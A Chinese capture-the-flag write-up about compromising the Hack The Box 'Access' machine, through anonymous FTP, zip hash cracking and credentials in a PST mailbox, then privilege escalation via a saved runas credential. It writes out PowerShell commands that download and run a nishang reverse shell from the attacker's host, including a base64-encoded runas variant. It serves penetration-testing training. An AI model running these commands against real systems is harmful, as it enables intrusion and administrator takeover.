出品|MS08067实验室(www.ms08067.com)

本文作者:大方子(Ms08067实验室核心成员)

Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台。它能帮助你提升渗透测试技能和黑盒测试技能,它包含了一些不断更新的挑战,其中有模拟真实世界场景,也有倾向于CTF风格的挑战。

https://www.hackthebox.eu/

平台上有很多靶机,从易到难,黑客每入侵一台机器都会获得相应积分,通过积分排名设有名人堂。今天要实验的是靶机Access。

一.获取普通用户权限

首先我们用nmap探测下靶机的信息。

nmap -sC -sV -T5 10.10.10.98

可以看到靶机开放了21,23,80端口。telnet后面有一个?说明nmap也不确定是否为telnet。这里我用msf来探测下FTP是否允许 匿名登陆,使用msf的/auxiliary/scanner/ftp/anonymous模块。

FTP是运行匿名登陆的,那我们进行远程登陆FTP看看有什么东西。

这里我用wget递归下载FTP文件。

wget -m ftp://anonymous:anonymous@10.10.10.98

发现报错 无法启动PASV传输,那我们加个 --no-passive 使用FTP的被动模式。

wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98

下载成功!同样我们试下Telnet是否能匿名登陆。

不存在匿名登陆,但是我也确定了23这个端口的是telnet,接下来在访问下80端口。

我们download下这个图片看看这个图片是否存在隐藏的信息。

先用exiftool查看是否存在图片的其他信息。

好像并没有什么额外的信息,再用strings查找下图片的二进制里面是否有字符串

strings out.jpg

也没有发现什么额外的信息,那我们接下来用gobuster进行目录的爆破。

gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

经过了挺久的时间,没爆破出什么有用的信息。我们去看下刚刚从FTP下载来的文件,先解压Engineer目录下的Access Control.Zip文件。

发生了一个错误,还7z来进行解压。

7z x Access\ Control.zip

发现ZIP是需要密码的,随便输入个密码报错,我们用7z 的l命令下的slt命令。

7z l -slt Access\ Control.zip

参数说明:

l:用于显示压缩文件的信息

Slt:属于l下的子命令用来显示压缩文件的技术信息

压缩文件使用AES-256 Deflate进行加密的,我们把密码的HASH提取出来到时候破解用。

zip2john Access\ Control.zip > Access\ Control.hash

我们在看下另一个文件。

是一个access的数据库文件,里面应该会出现用于解压压缩文件的密码。你可以用工具打开查看里面的数据一个一个找找到需要的密码。

还有一个更快捷的方法,因为密码最低就是8位的,我们用过strings方法把mdb用二进制文件的形式打开,然后只输出内容大于等于8的内容,在把这些内容输出成一个wordlist用来破解压缩文件。

strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist

strings输出的内容通过sort的-u参数去重,然后在输出到文件里面。

然后我们利用john开始破解

破解成功,这里可能不好找到密码可以用这条命令显示破解出的密码。

john Access\ Control.hash --show

密码: access4u@security

那接下来我们去解压压缩文件。

解压成功!!!

我们用file看下这个.pst是什么文件

是一个outlook的个人文件夹。我们用readpst来读取下,然后目录下面会多出一个Access Control.mbox文件。

我们用

less Access Control.mbox

可以看到security的密码:4Cc3ssC0ntr0ller。我们用获得凭证去登陆telnet。

Security:4Cc3ssC0ntr0ller

登陆成功!然后CD到桌面查看user.txt即可得到user的flag。

二.获取管理员权限

接下来就是怎么得到管理员权限,测试下powershell是否能正常工作。

powershell正常的,那我们本地搭建一个简易的HTTP服务器放上我们的powershell反弹shell脚本,让靶机进行远程下载执行反弹一个shell。

这里用nishang 这是一个基于Powershell的攻击框架,项目地址: https://github.com/samratashok/nishang。

我们新建一个 www目录 然后把nishang里面需要用的脚本copy进去。

cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1

然后vi下编辑这个nishang.ps1,在最底下加上这行命令

Invoke-PowerShellTcp -Reverse -IPAddress 你的IP地址 -Port 监听端口

然后我们用nc 监听9001

接着用python开启HTTP服务器

然后在目标靶机telnet上执行这段代码,就是远程执行powershell脚本。

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.13.147:8000/nishang.ps1')"

之后就会反弹一个shell

接下来我们在上传一个脚本用来检测Windows系统以提升权限。JAWS:https://github.com/411Hall/JAWS

我们在刚刚反弹的shell中去执行这个脚本,来检测目标系统的信息。

IEX(New-Object Net.WebClient).downloadString('http:// 10.10.13.147:8000/jaws-enum.ps1')

执行完成后会返回一系列信息,然后在这里查找有关信息,这里我只截取凭证部分。

上面是电脑中存储的凭证。当然你也可以用cmdkey /list 也会出现相关信息。

在查找的过程中我在公共用户的目录里面找到一个快捷连接。

百度下具体信息。

用type查看下内容,发现一些关键信息

Runas并且带有/savecred ,Runas的介绍:https://blog.csdn.net/nzjdsds/article/details/88312910。

这个就可以成为我们的利用点,但是用type获得信息杂乱无章,我们需用另一种方法来获得更为详细的整洁的输出。这里我们用script脚本的创建快捷方式实现。

  1. $WScript = New-Object -ComObject Wscript.Shell
  2. $shortcut = Get-ChildItem *.lnk
  3. $Wscript.CreateShortcut($shortcut)

这里WScript用来绑定Wscript.Shell的,然后Get-ChildItem *.lnk 就是跟dir差不多找出后缀为.lnk文件(效果图如下)。

然后我们调用Wscript的CreateShortcut函数创建快捷方式来查看里面的lnk里面的详细信息。

这里我要说一下就是这里创建的快捷方式是存在内存里面的,在调用这个函数的SAVE函数之前,这个快捷方式是存在内存里面的,我们只是需要这个ZKAccess3.5Security System.lnk里面的详细工整的信息只是通过这个方式查看而已。

在这里面我们可以很清楚的看到runas 并且带有savecred 参数。所以这边我们runas的话可以不需要用户的凭证。

但是runas之后没有任何报错,但是命令也没有执行成功,应该是编码的问题。接下来我们主要就是在这个shell中在runas反弹一个管理员权限的shell。

我们先在自己的Kali中监听9002,然后把我们之前用于反弹的nishang.ps1重新复制一份为nishang2.ps1并编辑下把nishang2.ps1把监听的端口改为9002

【这里由于靶机不是一天之内完成并写好文章的,所以自己的IP地址后来变成10.10.12.114】

runas /user:ACCESS\Administrator /savecred "powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')""

这里我换了一种格式写,发现我的python HTTP服务器出现了响应,但是9002并没有返回shell。

在这里猜测可能是编码的问题,windows和linux采用的编码不一样,所以我们的命令需要转换成windows能够识别的编码,这里我们用iconv和base64。这里转码要用UTF-16LE。

  1. echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0

输出内容:

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA=

然后我们执行下:

  1. runas /user:ACCESS\Administrator /savecred "Powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA="

然后发现9002端口得到shell说明执行成功

到root的flag。

转载请联系作者并注明出处!

Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区

加入后邀请加入内部VIP群,内部微信群永久有效!

【HTB系列】靶机Access的渗透测试详解的更多相关文章

  1. 【HTB系列】靶机Frolic的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. 【HTB系列】靶机Chaos的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...

  3. 【HTB系列】靶机Vault的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.213 靶机地址:10.10.10.109 先用nmap探 ...

  4. 【HTB系列】靶机Teacher的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.50 靶机地址:10.10.10.153 先用nmap 对 ...

  5. 【HTB系列】 靶机Swagshop的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结与反思 使用vi提权 magento漏洞的利用 magescan 工具的使用 靶机 ...

  6. Spring框架系列(12) - Spring AOP实现原理详解之JDK代理实现

    上文我们学习了SpringAOP Cglib动态代理的实现,本文主要是SpringAOP JDK动态代理的案例和实现部分.@pdai Spring框架系列(12) - Spring AOP实现原理详解 ...

  7. SpringBoot系列(六)集成thymeleaf详解版

    SpringBoot系列(六)集成thymeleaf详解版 1. thymeleaf简介  1. Thymeleaf是适用于Web和独立环境的现代服务器端Java模板引擎.  2. Thymeleaf ...

  8. Spring框架系列(8) - Spring IOC实现原理详解之Bean实例化(生命周期,循环依赖等)

    上文,我们看了IOC设计要点和设计结构:以及Spring如何实现将资源配置(以xml配置为例)通过加载,解析,生成BeanDefination并注册到IoC容器中的:容器中存放的是Bean的定义即Be ...

  9. Spring框架系列(10) - Spring AOP实现原理详解之AOP代理的创建

    上文我们介绍了Spring AOP原理解析的切面实现过程(将切面类的所有切面方法根据使用的注解生成对应Advice,并将Advice连同切入点匹配器和切面类等信息一并封装到Advisor).本文在此基 ...

随机推荐

  1. requestAnimationFrame小结

    背景 在Web应用中,实现动画效果的方法比较多,Javascript 中可以通过定时器 setTimeout或者setInterval 来实现,css3 可以使用 transition 和 anima ...

  2. 基于navicat的数据库导入导出

    1.右键当前数据库,选择转储SQL文件 选择导出sql的存放路径 2.新建统一命名的数据库,右键运行SQL文件 3,.选择要导入的SQL文件后如图

  3. Spring Boot构建 RESTful 风格应用

    Spring Boot构建 RESTful 风格应用 1.Spring Boot构建 RESTful 风格应用 1.1 实战 1.1.1 创建工程 1.1.2 构建实体类 1.1.4 查询定制 1.1 ...

  4. Grafana+Influxdb+Telegraf监控mysql

    Grafana+Influxdb+Telegraf监控mysql 一.安装 1.1安装Grafana+influxdb+telegraf 1.2启动服务,添加开机启动 1.3查看grafana界面 二 ...

  5. Java 复习整理day07

    package com.it.demo05_innerclass; /* 案例: 演示内部类入门. 概述: 所谓的内部类指的是类里边还有一个类, 里边那个类叫: 内部类, 外边那个类, 叫外部类. 分 ...

  6. Java创建线程四种方式

    1.继承Thread类 public class MyThread extends Thread { public MyThread() { } public void run() { for(int ...

  7. Codeforces Round #637 (Div. 2)

    比赛链接:https://codeforces.com/contest/1341 A - Nastya and Rice 题意 有 n 堆米,每堆质量在 [a-b,a+b] 之间,这些米的总质量是否可 ...

  8. 牛客编程巅峰赛S2第10场 - 钻石&王者 C.牛牛的路径和 (位运算,dfs)

    题意:给你节点数为\(n\)的树,每个节点都有自己的权值,求所有路径的上的点的权值按位与的和. 题解:题目给的数据很大,我们不能直接去找.因此我们可以枚举二进制\([1,20]\)的每一位,然后再枚举 ...

  9. 二分图最大权匹配问题&&KM算法讲解 && HDU 2255 奔小康赚大钱

    作者:logosG 链接:https://www.cnblogs.com/logosG/p/logos.html (讲解的KM算法,特别厉害!!!) KM算法: 现在我们来考虑另外一个问题:如果每个员 ...

  10. [HDU-5172] 单点查询线段树

    题意: 给你一个长度为n的数组v[],有m次询问,问你在区间[L,R]中是否包含区间[1,R-L+1]的全部数字,如果是输出YES,否则输出NO 题解: 区间[1,R-L+1]与区间[L,R]的长度一 ...